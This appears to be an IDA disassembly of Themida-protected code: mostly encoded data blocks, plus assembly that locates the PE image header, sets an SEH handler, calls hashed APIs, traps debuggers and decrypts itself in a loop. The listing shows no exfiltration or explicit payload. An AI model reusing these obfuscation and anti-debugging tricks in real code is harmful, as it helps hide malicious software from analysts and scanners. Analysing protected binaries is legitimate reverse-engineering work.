		dd 850F0006h, 0D0h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 66C35545h, 0EA3CA96Bh, 14BDB529h, 29560614h
		dd 142A4585h, 10B65A06h, 1A5985C6h, 0E8470614h,	4, 0D49AA7D2h
		dd 94067EBAh, 5250500Fh, 0FD68B66h, 12E831h, 3F640000h
		dd 0C177C35Eh, 2B677739h, 67BB7373h, 3015966Fh,	5A5FD68Bh
		dd 24448B58h, 8B008B04h, 244489D7h, 8B666004h, 0F5861D6h
		dd 683h, 0C0DA8100h, 0FF5BACBBh, 141AD1B5h, 0ED853106h
		dd 8D06140Bh, 1780DB85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 2B9A2CCFh, 88B99944h
		dd 0E9BD89E9h, 0FF061402h, 0E2B966D0h, 7D8589CBh, 0F9061419h
		dd 1D45BD83h, 0F000614h, 13285h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0FE9C192h
		dd 43000000h, 49B908C2h, 3811F865h, 3CCE0B50h, 890F1CA1h
		dd 7, 0C7816650h, 95A5F3Ah, 1423BD95h, 5985C606h, 4706141Ah
		dd 0EE9h, 69946C00h, 3A747FEh, 74702F00h, 68854999h, 0F6B67C63h
		dd 1A8A0Fh, 0E9600000h,	13h, 7C44A0E4h,	9189E25Eh, 90CDD929h
		dd 2ECC59Eh, 6198BC16h,	81243481h, 897CB9C9h, 141B29B5h
		dd 0D1B5FF06h, 6A06141Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 1086C356h, 183E06EEh
		dd 0D5B589ABh, 8D061422h, 1780DB85h, 91BD8906h,	0F061407h
		dd 889h, 28D0F00h, 50000000h, 6AD0FF5Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B733C350h
		dd 8AE0C819h, 458589CEh, 6A06141Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9D1C353h
		dd 0BFA1F12Ah, 0FD15803h, 683h,	4DBD8900h, 83061408h, 1406CDBDh
		dd 850F0006h, 0AEh, 0EEF8166h, 5985C660h, 5606141Ah, 0B368EE8Ah
		dd 528B5CDFh, 405ABB60h, 8B665784h, 815F61F3h, 8D862404h
		dd 0B58948C2h, 6141529h, 1AD1B5FFh, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0EC9734C3h
		dd 89AD74F4h, 14142D8Dh, 0DB858D06h, 0E9061780h, 13h, 8C12A3F7h
		dd 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh, 0BAC5FEF7h, 3FB79B15h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 3C1682C3h, 0F9D958Bh, 85890614h, 61406CDh
		dd 90B3CA81h, 85C62E7Ch, 6141A59h, 57006A6Ch, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 3F3836B5h
		dd 683F2CC2h, 0EB55C1F0h, 0A8F0Fh, 52500000h, 310F6160h
		dd 585A5951h, 73243481h, 663050B1h, 0FFAFF4B9h,	141145B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 9D897F81h, 61404D1h, 30C3C781h, 858D4701h
		dd 6143B13h, 2F898D29h,	0D0FF0614h, 19818529h, 0E6800614h
		dd 0E285897Ah, 8B06181Bh, 14102195h, 0FEBD8306h, 6181Bh
		dd 0BE850Fh, 0BD8B0000h, 6142A4Dh, 1A5985C6h, 6A490614h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 489FC356h, 0D6305267h, 4B96448h, 6802EF17h
		dd 0BDB7C869h, 3481F58Ah, 0A2E18024h, 45B5FF31h, 6A061411h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0B484C353h, 626CAF55h, 29BF88B0h,	8D2F8CA1h
		dd 143B1385h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0B16FB8D4h, 0F99F726Bh, 31BD897Fh
		dd 66061411h, 0FF6C2CBAh, 2D952BD0h, 89061408h,	1421B985h
		dd 0FE858906h, 6606181Bh, 32BEF81h, 0EA80046Ah,	5EA9686Ch
		dd 481CAF4h, 0BB15724h,	6830F35h, 89000000h, 140E1585h
		dd 4E806h, 0
		dd 0F560001h, 585h, 0CAA7B900h,	505A7561h, 448BB8B2h, 8B660424h
		dd 52008BD1h, 8959CA8Ah, 0F042444h, 283h, 58CB8B00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 5D1B0B2Bh
		dd 8992ED1Fh, 142EDD85h, 55958B06h, 6A061430h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 5F940A66h, 0B5896B72h, 614193Dh, 1C5595FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C4EE3EC3h, 8589216Ch, 6181BEEh, 0C7F9BF0Fh,	181BE685h
		dd 6, 29BD8B00h, 6A06140Ah, 45958B00h, 68061415h, 832E11DEh
		dd 481FB8Bh, 0D2EE2224h, 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 805B1938h, 0CE710366h
		dd 90CB8B8Ah, 5840F52h,	0BA000000h, 2A12149h, 9E95059h
		dd 4E000000h, 74CB6E0h,	8D39F0Ch, 0CD952990h, 6A061405h
		dd 55006A0Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D329BBEDh, 90CBDC12h, 9523516Ch, 61430ADh
		dd 0BB858D5Fh, 0F06181Bh, 88Eh,	8D295200h, 6140F19h, 6060505Fh
		dd 0AE8F88Bh, 1B000000h, 3C7276F7h, 94657D65h, 0E96159E0h
		dd 0Eh,	0FC473DEEh, 1EB048A2h, 83E3CFD7h, 8961A2CDh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8998C3h, 61402A1h, 197D95FFh, 0AE90614h, 21000000h
		dd 6B14A879h, 0D9DAED97h, 0C5B58DD8h, 0E906181Bh, 0Ah
		dd 0DEF1F1DAh, 0D8849313h, 10E88CCBh, 46000000h, 1AA9E1B8h
		dd 0CB4DD57h, 0FE015C1Ah, 8BF33FAFh, 1403E995h,	0E9505906h
		dd 8, 0E94FDB5Fh, 3F9A28E1h, 0F243489h,	5150C9BFh, 895FF08Ah
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D5A8F0C3h, 4595FF0Ch, 6A06141Dh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8E1AC356h, 5B652A45h, 894F930Ch, 140D0D8Dh, 0A9B52906h
		dd 0B061408h, 47850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 970FC352h
		dd 0B36C0EE1h, 813E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 96F91446h, 0D0FF362Fh
		dd 0DE9h, 1C744500h, 26E73533h,	2FCC9421h, 958BD18Ch, 6142B15h
		dd 1BEEB58Bh, 958B0618h, 614157Dh, 225DBD8Bh, 468D0614h
		dd 71953120h, 6A06140Fh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0BEC35740h, 92FD8E82h
		dd 0BD898F85h, 6140555h, 0E6BF6650h, 24048974h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1C35242h, 0CDBBC169h
		dd 99FE63EAh, 8C0FE3h, 0FF000000h, 181BFE95h, 44E98106h
		dd 6071B512h, 22298D89h, 0B610614h, 46840FC0h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 14FFC357h, 19A314A0h, 0F1FF6ECh, 583h, 0CF816600h
		dd 0DE929C5h, 0E8000007h, 6, 57875F4Fh,	95893300h, 614094Dh
		dd 207E8059h, 0F1840F00h, 29000006h, 140091B5h,	27BF6006h
		dd 660DA889h, 468DD38Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5B589FDh, 8906142Bh, 181BEA85h
		dd 6820F06h, 89000000h,	14199595h, 95895606h, 6141115h
		dd 14EE95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 8112B6C3h, 88B260E6h, 52006A40h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 82EC4540h, 14FDBD8Bh, 0B5890614h, 61418E9h, 0ADBA6650h
		dd 240489E3h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	55C35141h, 0BD8B80F7h, 614267Dh, 46AD8B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 22C35343h, 0EE8A505Eh
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0DF9AC352h, 0B5B531B6h, 0FF06142Eh
		dd 181BFE95h, 9E906h, 7E540000h, 790802B6h, 8BF8CDB1h
		dd 0B46056D8h, 8E9C0h, 1E710000h, 0CF97A26h, 59615FA9h
		dd 2279958Bh, 6A580614h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D77DC357h,	0FDB0BF9h
		dd 3384h, 0FABF0F00h, 57BE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 458A0A8h, 0A8AE93DDh
		dd 8D895E73h, 6141195h,	0F003880h, 0FFFECB85h, 6E8FFh
		dd 0E8510000h, 6FEE2B14h, 15E959FCh, 56000000h,	2E89BD89h
		dd 485F0614h, 5E5958Bh,	51570614h, 5F595951h, 1BEA853Bh
		dd 820F0618h, 66h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0AAC35141h, 79FDDF27h, 1DA1958Bh, 38800614h
		dd 37840F5Ch, 29000000h, 1404D9BDh, 2F388006h, 0FFA9850Fh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0D28130C3h, 56381A7Fh, 23659531h,	6A400614h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C66DC355h, 809E75C9h, 850F0AD1h,	6, 2D259589h
		dd 0BD830614h, 6181BF2h, 0B7840F00h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F3FBC350h, 52505011h, 0DA21B966h, 0E960310Fh, 0Eh
		dd 480FDC76h, 98A22C77h, 284ED31h, 0B86633BEh, 5A61AD82h
		dd 24048958h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	30C35545h, 3F0B3F37h, 0F28503BFh, 6A06181Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 2933C351h, 0FBB30C7Bh, 958B604Ch, 6140ED9h, 5699D89h
		dd 90610614h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0F156FC3h, 58D6806Bh, 58F18166h
		dd 0BF046AF0h, 69F8FEAAh, 870F6050h, 2,	0EE9E18Ah, 86000000h
		dd 7C8344C5h, 51D0956Fh, 0CEEC3169h, 489619Fh, 15858924h
		dd 0FF061423h, 181BFE95h, 11E85106h, 8A000000h,	5379FA11h
		dd 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h, 9E9h, 95B00500h
		dd 0F37003Bh, 595F977Dh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 3BD3A0C3h, 0BF0F5856h
		dd 0FDB0BCEh, 0E84h, 0E1816600h, 19E9D93Ah, 66000003h
		dd 0C66EC1B9h, 6A0000h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AF37A0C3h, 94617F7Eh, 8BF08A8Ch
		dd 6A58FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5C1381C3h, 5809CDC8h, 5704DD27h, 5FD78B66h
		dd 1FB5B589h, 50900614h, 8B90D08Bh, 1424E1BDh, 2D8D3106h
		dd 6A061400h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 1909CC8Eh, 2A21B589h, 66900614h
		dd 8A50CB8Bh, 6A90D5h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0B2779EC3h, 0BE9h, 6687C800h, 1CA3A928h
		dd 0EBD82410h, 13E860h,	20D00000h, 206EA06Eh, 87E5475Ch
		dd 0C7A55F7Dh, 0A1622F02h, 5EF78B8Ah, 16830Fh, 11E90000h
		dd 0AE000000h, 78850523h, 814748FFh, 19DF63C1h,	0A5D95120h
		dd 0FE95FF61h, 8B06181Bh, 1401CD8Dh, 0E9D88B06h, 13h, 49857C21h
		dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 58FC2DCBh, 840FDB0Bh
		dd 11h,	16F59529h, 0D9E90614h, 8B000001h, 1426118Dh, 880F5006h
		dd 14h,	6E85250h, 0C000000h, 7F4C0E01h,	310F592Fh, 585A5F51h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D34CC355h, 1394AE27h,	0BE8E1h
		dd 1CD90000h, 88906766h, 0E6D6D686h, 959F9FFh, 14055985h
		dd 0DEB5FF06h, 6A06181Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 8B51C351h, 0BC39A48Eh
		dd 0F1FA045h, 883h, 0B70F6000h,	0F18B66D0h, 0E295FF61h
		dd 6A06181Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FC9DC356h, 850FC00Bh,	0ADh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h, 6612F17Dh
		dd 613CB0BFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	84C35040h, 3E5E600Fh, 820FCC20h, 4, 3C6EBF66h
		dd 1BE685C7h, 10618h, 9D890000h, 6142171h, 0B3E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0D01A9835h, 0AE960ECh, 0B4000000h, 9326F904h, 8E212089h
		dd 0D08A60E2h, 0EE9h, 86483800h, 0AB2CEE96h, 0E19131D4h
		dd 61DB17C0h, 9E96161h,	73000000h, 19E1089Ah, 295776C2h
		dd 2F318D29h, 0C6810614h, 11Ch,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 42C35040h, 8D8985BDh, 61415A5h
		dd 0FFF861E9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B44C9D8Eh, 8B8B30FDh
		dd 0CBBF0FD7h, 0D6DA9168h, 81CB8B7Ch, 5A912434h, 0E2807CD6h
		dd 0C99589A2h, 6A061414h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 35958B84h
		dd 0FF06142Dh, 181BEEB5h, 0D6B70F06h, 6CD95FFh,	958B0614h
		dd 6140045h, 1BE6858Bh,	8A0F0618h, 1, 0BF5090F9h, 185CFDABh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B955F672h, 0DEBF66DCh, 0F6858D74h, 6A06181Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EC10C353h, 75F39Fh, 0E94038A1h, 0Dh, 0A72B5B7Ah
		dd 39391B67h, 0F3F9ABBFh, 0BA6690AFh, 565032B4h, 0C36AB966h
		dd 0FA8B905Fh, 8DCB8B66h, 181BB385h, 10E906h, 0BBEF0000h
		dd 0DE5E8023h, 484709E2h, 0D4A6D23Fh, 609023C2h, 7E8h
		dd 4D765800h, 2A41A9C6h, 8B0Fh,	0B85A0000h, 599E3AAFh
		dd 0D68B5061h, 0A6A8BF90h, 95FF5688h, 61431ADh,	0DE9h
		dd 69A9BE00h, 0DDD051F9h, 0B4C2F707h, 0C08B42DBh, 2FB98589h
		dd 0B70F0614h, 0B1BD83C8h, 61430h, 0BD830975h, 6141AE1h
		dd 50137400h, 0B8C08B53h, 4D0h,	0B5759D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6141AE1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 616B474h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 13C35343h, 0EA76FF86h, 0F58A527Eh, 53006A5Fh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3268F8D6h, 1592ADE7h, 0D08B66D4h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0AEC7B1C3h
		dd 71642F74h, 892E23E9h, 14294585h, 8B515806h, 1402D1BDh
		dd 8C25F06h, 55B53100h,	906142Ah, 1418E19Dh
; ---------------------------------------------------------------------------
		push	es


loc_58BA95:				; CODE XREF: Themida_:loc_58A7E1j
		mov	eax, eax
		mov	edx, [ebp+6142A91h]
		lea	eax, [ebp+6181C0Dh]
		push	0
		push	ecx
		call	sub_58BAAE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BAAE	proc near		; CODE XREF: Themida_:0058BAA6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_58BAAE	endp

; ---------------------------------------------------------------------------
		dw 6028h
; ---------------------------------------------------------------------------
		pusha
		push	ecx
		pop	edi
		mov	edx, [ebp+6141BE1h]
		popa
		mov	eax, [ebp+61409A9h]
		popa
		mov	[ebp+6142C3Dh],	eax
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+61431F5h],	edx
		sub	edx, 14h
		lea	eax, [ebp+6182F9Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_58BB10:				; CODE XREF: Themida_:0058BB32j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_58BB2D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_58BB37


loc_58BB2D:				; CODE XREF: Themida_:0058BB15j
		sub	eax, 1000h
		jmp	loc_58BB10
; ---------------------------------------------------------------------------


loc_58BB37:				; CODE XREF: Themida_:0058BB27j
		mov	ecx, eax
		mov	[ebp+61424F9h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+61418D1h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+61419A9h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+6142B21h],	edx
		add	edx, [eax+8]
		mov	[ebp+6143149h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_58BB90
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_58BB90:				; CODE XREF: Themida_:0058BB78j
		cmp	dword ptr [ebp+6142309h], 0
		jz	loc_58BBC1
		mov	byte ptr [ebp+6141A59h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6141AD1h]
		lea	eax, [ebp+61780DBh]
		call	eax
		push	0
		call	eax
		mov	[ebp+614057Dh],	eax


loc_58BBC1:				; CODE XREF: Themida_:0058BB97j
		mov	edx, ebx
		call	near ptr loc_58BBD3+1
		or	eax, [edi+539E3633h]
		enter	0FFFF816Ah, 0Eh
		int	3		; Trap to Debugger


loc_58BBD3:				; CODE XREF: Themida_:0058BBC3p
		mov	[edi], ecx
		mov	ebx, ds:60000000h
		adc	cx, 53F8h
		jmp	loc_58BBF6
; ---------------------------------------------------------------------------
		db 1Dh,	31h, 78h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ECh, 0C8h, 0FDh
		dd 0FA50C17Ch, 0B5399FB2h
		db 0F7h, 60h
; ---------------------------------------------------------------------------


loc_58BBF6:				; CODE XREF: Themida_:0058BBE0j
		popa
		pop	edi
		jns	loc_58BBFF
		cld


loc_58BBFF:				; CODE XREF: Themida_:0058BBF8j
		add	edi, 5A43h
		mov	eax, ecx
		xor	esi, esi
		mov	dx, cx


loc_58BC0C:				; CODE XREF: Themida_:0058BC77j
		mov	ecx, [edi+esi]
		mov	bx, 7F09h
		sub	ecx, 0FCCC0A7h
		sub	ax, 1177h
		xor	ecx, 670B925Ch
		js	$+6
		xor	ecx, 6F39D11Ch
		jmp	loc_58BC49
; ---------------------------------------------------------------------------
		db 6Fh,	1Eh, 0D4h
; ---------------------------------------------------------------------------
		cli
		db	2Eh
		add	dl, al
		movsb
		retf
; ---------------------------------------------------------------------------
		dw 0C958h
		dd 0A51FA5A7h, 39F8BD87h
		db 0A8h
; ---------------------------------------------------------------------------


loc_58BC49:				; CODE XREF: Themida_:0058BC30j
		push	ecx
		sbb	bh, 6Fh
		pop	dword ptr [edi+esi]
		cld
		mov	bh, ch
		sub	esi, 64C24606h
		sub	edx, 3350A689h
		add	esi, 64C24602h
		jg	loc_58BC71
		pusha
		stc
		movzx	ecx, bx
		popa


loc_58BC71:				; CODE XREF: Themida_:0058BC65j
		cmp	esi, 0FFFFA670h
		jnz	loc_58BC0C
		mov	edx, ecx
		pusha
		push	0
		push	eax
		call	sub_58BC8B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BC8B	proc near		; CODE XREF: Themida_:0058BC83p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58BC8B	endp

; ---------------------------------------------------------------------------
		db 91h
		dd 0E4A3713Eh, 8166F757h, 8BE413C9h, 1424BDB5h,	8BC08B06h
		dd 0B1BD83CEh, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 438h, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 438h, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 34C35343h, 70A0900Fh,	0B5D6D79Fh, 0CE9FEh
		dd 0ED0F0000h, 9D5BB442h, 10D8237h, 8501F03Dh, 6142A55h
		dd 7AB9C08Bh, 0E82D1837h, 94Ch,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 7FC35646h, 13C4339Dh, 0FE9h
		dd 712F2700h, 51AA1042h, 5DBE04A3h, 85127284h, 5918589h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0C89E1DC3h, 0EF76AACFh, 0DAB5FCDCh, 8E7E8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0AD858966h, 6A061414h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E5AC353h
		dd 0E951F157h, 9, 8B1488DEh, 0FCE1F583h, 830F5F34h, 6
		dd 369B58Bh, 85E80614h,	89000008h, 140B09BDh, 1858906h
		dd 6A061416h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E230C353h, 0E85E189Bh, 854h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D9C35040h
		dd 7CA81148h, 14E9h, 0B761E000h, 3E5B3F87h, 89B2B49Bh
		dd 3419DBC1h, 536AE2D9h, 91858914h, 6A06142Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 78DEC353h, 0D68156EEh, 60649F2Bh, 0E8F78B5Fh, 7E8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h
		dd 8A6CF761h, 0A58589E1h, 81061406h, 0AD78FD7h,	7B6E863h
		dd 0BD8B0000h, 61406B5h, 2E18589h, 8D8B0614h, 6141A41h
		dd 79FE8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0E2FB7992h, 4FD60C4h, 118E0Fh, 0E9510000h
		dd 0Ah,	629E3759h, 7FEBE63Ah, 0E959CE74h, 6, 7877B49Eh
		dd 858900A1h, 6140C4Dh,	1A219501h, 49E80614h, 6A000007h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A0F4C357h, 5E0DE1B4h, 68C0F01h, 1000000h
		dd 1405C9BDh, 71858906h, 6A061410h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DECFC356h
		dd 6850FE1h, 3000000h, 142BD1BDh, 0D1BD3306h, 0E806140Ah
		dd 6E0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	77C35343h, 0B9661F3Eh, 85891FE4h, 6140D49h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 31F31BD1h
		dd 0BD0BC476h, 6142A1Dh, 0CC88160h, 0B52D05FFh,	81E8614Bh
		dd 89000006h, 14231985h, 0FE8B6606h, 11E8h, 24C71700h
		dd 0C833C131h, 0D7605E4Ah, 490F63B1h, 8166E763h, 59EC6DD7h
		dd 657E8h, 69BD2900h, 2906141Ch, 1408E98Dh, 99858906h
		dd 6A061430h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0BEC2C357h, 0F99A6AF3h, 2952D6ECh
		dd 140F9D9Dh, 15E85906h, 6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3FB0C356h
		dd 9D29D28Ah, 6141C75h,	24058D31h, 85890614h, 6140669h
		dd 5DEE8F8h, 0CE810000h, 3A7A7C8Eh, 220D8589h, 6E90614h
		dd 0A3000000h, 0CE85EB34h, 0E8F38B56h, 5C0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 2AD04842h
		dd 8950A9C2h, 1423EDB5h, 9D895F06h, 61423E5h, 9E8h, 0DF5D5B00h
		dd 944FD093h, 0E9521542h, 10h, 0C1661E31h, 0C091AE9Ah
		dd 0D3C5A67h, 2479F50Bh, 85895E59h, 61400D5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h, 260AC873h
		dd 53EE82Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 7902A1C3h, 7987210Bh, 2C958589h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 7EDC37C3h, 0DEEC218Eh, 8B952C20h,	142C918Dh
		dd 4E6E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 8765EEC3h, 8D3591FDh, 89CE8F1Bh
		dd 14211185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 65273009h, 6A00B0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 2807B8C3h
		dd 5E9h, 3428AB00h, 0B60FF8DEh,	0FD9D89D8h, 0BA06141Ch
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 0D8C35242h, 955BAC05h, 0B3C2C4B4h, 0D459D89h, 0C38B0614h
		dd 6B5B58Bh, 0E8C10614h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 1F93698h, 1419818Dh, 0E2F76606h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h
		dd 3363B50Dh, 0E5847EB2h, 2BBECD80h, 53006AD8h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0CA151033h
		dd 5650DBD7h, 2CF7CEB9h, 1C895E3Bh, 0F98B6624h,	2E4595FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 30007C3h,	12F53AEBh, 0EA8A811Eh, 963BEABEh
		dd 958D5B31h, 6142015h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 25C35242h, 0C27F094Ah, 0AE8h,	73B01300h
